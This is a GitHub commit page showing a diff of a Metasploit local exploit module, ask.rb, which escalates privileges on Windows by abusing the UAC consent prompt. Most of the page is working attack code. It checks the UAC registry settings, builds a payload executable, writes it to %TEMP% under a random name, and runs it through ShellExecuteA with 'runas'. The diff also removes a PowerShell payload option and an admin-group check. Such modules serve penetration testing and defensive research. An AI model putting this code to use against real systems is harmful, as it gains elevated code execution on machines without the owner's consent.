Skip to content

Commit 0cf1b7f

Browse files
committed
add original ask.rb
1 parent 1d07b2b commit 0cf1b7f

File tree

1 file changed

+37
-65
lines changed
  • modules/exploits/windows/local

1 file changed

+37
-65
lines changed

modules/exploits/windows/local/ask.rb

Lines changed: 37 additions & 65 deletions
Original file line numberDiff line numberDiff line change
@@ -5,14 +5,12 @@
55

66
require 'msf/core'
77
require 'msf/core/exploit/exe'
8-
require 'msf/core/exploit/powershell'
98

109
class Metasploit3 < Msf::Exploit::Local
1110
Rank = ExcellentRanking
1211

1312
include Exploit::EXE
1413
include Post::File
15-
include Exploit::Powershell
1614

1715
def initialize(info={})
1816
super( update_info( info,
@@ -23,59 +21,27 @@ def initialize(info={})
2321
UAC settings.
2422
},
2523
'License' => MSF_LICENSE,
26-
'Author' => [
27-
'mubix', # Original technique
28-
'b00stfr3ak' # Added powershell option
29-
],
24+
'Author' => [ 'mubix' ],
3025
'Platform' => [ 'win' ],
3126
'SessionTypes' => [ 'meterpreter' ],
3227
'Targets' => [ [ 'Windows', {} ] ],
3328
'DefaultTarget' => 0,
3429
'References' => [
3530
[ 'URL', 'http://www.room362.com/blog/2012/1/3/uac-user-assisted-compromise.html' ]
3631
],
37-
'DisclosureDate'=> "Jan 3 2012",
32+
'DisclosureDate'=> "Jan 3 2012"
3833
))
3934

4035
register_options([
4136
OptString.new("FILENAME", [ false, "File name on disk"]),
4237
OptString.new("PATH", [ false, "Location on disk %TEMP% used if not set" ]),
43-
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ]),
44-
OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'EXE', ['PSH', 'EXE'] ]),
38+
OptBool.new("UPLOAD", [ true, "Should the payload be uploaded?", true ])
4539
])
4640

4741
end
4842

49-
def check
50-
session.readline
51-
print_status('Checking admin status...')
52-
whoami = session.sys.process.execute('cmd /c whoami /groups',
53-
nil,
54-
{'Hidden' => true, 'Channelized' => true}
55-
)
56-
cmdout = []
57-
while(cmdoutput = whoami.channel.read)
58-
cmdout << cmdoutput
59-
end
60-
if cmdout.size == 0
61-
fail_with(Exploit::Failure::None, "Either whoami is not there or failed to execute")
62-
else
63-
isinadmins = cmdout.join.scan(/S-1-5-32-544/)
64-
if isinadmins.size > 0
65-
print_good('Part of Administrators group! Continuing...')
66-
return Exploit::CheckCode::Vulnerable
67-
else
68-
print_error('Not in admins group, cannot escalate with this module')
69-
print_error('Exiting...')
70-
return Exploit::CheckCode::Safe
71-
end
72-
end
73-
end
7443
def exploit
75-
admin_check = check
76-
if admin_check.join =~ /safe/
77-
return Exploit::CheckCode::Safe
78-
end
44+
7945
root_key, base_key = session.sys.registry.splitkey("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System")
8046
open_key = session.sys.registry.open_key(root_key, base_key)
8147
lua_setting = open_key.query_value('EnableLUA')
@@ -89,38 +55,44 @@ def exploit
8955
uac_level = open_key.query_value('ConsentPromptBehaviorAdmin')
9056

9157
case uac_level.data
92-
when 2
93-
print_status "UAC is set to 'Always Notify'"
94-
print_status "The user will be prompted, wait for them to click 'Ok'"
95-
when 5
96-
print_debug "UAC is set to Default"
97-
print_debug "The user will be prompted, wait for them to click 'Ok'"
98-
when 0
99-
print_good "UAC is not enabled, no prompt for the user"
58+
when 2
59+
print_status "UAC is set to 'Always Notify'"
60+
print_status "The user will be prompted, wait for them to click 'Ok'"
61+
when 5
62+
print_debug "UAC is set to Default"
63+
print_debug "The user will be prompted, wait for them to click 'Ok'"
64+
when 0
65+
print_good "UAC is not enabled, no prompt for the user"
10066
end
10167

68+
10269
#
10370
# Generate payload and random names for upload
10471
#
105-
case datastore["TECHNIQUE"]
106-
when "EXE"
107-
exe_payload = generate_payload_exe
108-
payload_filename = datastore["FILENAME"] || Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
109-
payload_path = datastore["PATH"] || expand_path("%TEMP%")
110-
cmd_location = "#{payload_path}\\#{payload_filename}"
111-
if datastore["UPLOAD"]
112-
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
113-
write_file(cmd_location, exe_payload)
114-
else
115-
#print_error("No Upload Path!")
116-
fail_with(Exploit::Failure::BadConfig, "No Upload Path!")
117-
return
118-
end
119-
command, args = cmd_location,nil
120-
session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
121-
when "PSH"
122-
command, args = "cmd.exe", " /c #{cmd_psh_payload(payload.encoded)}"
72+
payload = generate_payload_exe
73+
74+
if datastore["FILENAME"]
75+
payload_filename = datastore["FILENAME"]
76+
else
77+
payload_filename = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe"
12378
end
124-
session.railgun.shell32.ShellExecuteA(nil,"runas",command,args,nil,5)
79+
80+
if datastore["PATH"]
81+
payload_path = datastore["PATH"]
82+
else
83+
payload_path = session.fs.file.expand_path("%TEMP%")
84+
end
85+
86+
cmd_location = "#{payload_path}\\#{payload_filename}"
87+
88+
if datastore["UPLOAD"]
89+
print_status("Uploading #{payload_filename} - #{payload.length} bytes to the filesystem...")
90+
fd = session.fs.file.new(cmd_location, "wb")
91+
fd.write(payload)
92+
fd.close
93+
end
94+
95+
session.railgun.shell32.ShellExecuteA(nil,"runas",cmd_location,nil,nil,5)
96+
12597
end
12698
end

0 commit comments

Comments
 (0)